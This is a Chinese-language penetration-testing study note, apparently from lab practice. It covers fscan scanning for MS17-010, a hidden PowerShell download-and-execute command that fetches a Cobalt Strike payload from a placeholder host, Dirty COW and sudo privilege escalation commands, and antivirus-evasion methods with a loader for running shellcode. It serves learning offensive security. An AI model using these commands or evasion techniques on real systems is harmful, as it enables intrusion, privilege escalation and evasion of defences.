一、fscan工具使用
1、安装
官网下载软件,执行下面命令启动软件:
fsacn
2、使用
执行下面命令开始扫描:
fscan -h x.x.x.x
发现ms17-010漏洞:
二、利用powershell和udf提权,上线
- 使用cobaltstrike生成payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:x/a'))"
复制payload:
目标主机上执行命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:x/a'))"
返回cobaltstrike发现目标主机已上线:
UDF提权:
三、脏牛提权漏洞和sudo提权漏洞复现
1. 脏牛提权漏洞复现
查看Linux内核版本:
上传漏洞文件到tmp目录:
编译文件
gcc -pthread dirty.c -o dirty -lcrypt
执行文件,会生成firefart的用户
./dirty root
登录用户验证,提权成功:
2. sudo提权复现
使用普通用户登录:
将漏洞文件上传:
给文件赋予执行权限:
执行文件:
四、免杀原理和万能加载器
1. 免杀原理
1.1. 静态免杀
目标: 绕过基于文件特征码(HASH、字符串、函数导入表等)的检测。
主要方法:
- 修改特征码,特征码是能够识别一个程序的不大于64字节的字符。 修改特征码是在不改变程序运行效果的前提下,更改其特征码。
- 花指令免杀,其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
- 加壳免杀,用专门的壳工具对可执行文件(如 EXE、DLL)进行压缩、加密或重组,让原始代码在文件中不可直接被看到或解析。
1.2. 动态免杀
目标: 绕过内存行为监控和沙箱检测。
主要方法:
- API免杀
-
- 替代API:使用相同功能的API进行替换。
- 重写API:逆向后完全重写系统API功能,实现对应功能的API。
- 底层API:寻找更底层的API进行调用,绕过拦截。
- 内存免杀,一种 不落地执行恶意代码 的技术,通过将 payload 完全驻留在内存 中,避免文件写入磁盘,从而绕过传统杀软的文件扫描和静态检测
- 二次编译,对原有恶意载荷的源码进行调整、重构、优化,然后重新编译,使得最终产物在字节结构、特征码上与原版差别较大,减少被杀软基于特征匹配检测的概率
- 分离免杀,恶意功能拆开,让每个样本自身看起来不完整,降低命中率
- 资源修改,通过改变、替换一些资源信息,使文件的整体静态特征发生变化,从而影响基于特征码的检测或迷惑分析人员
2. 万能加载器
2.1. cobaltstrike
使用cobaltstrike生成payload:
易忘点:生成的文件必须为ca.bin
将ca.bin和xlanyloader上传至目标主机:
运行xlanyloader1.7.1,即可完成上线:
2.2. cobalstrike插件使用
查看主机类型:
查看数据库:
权限提升: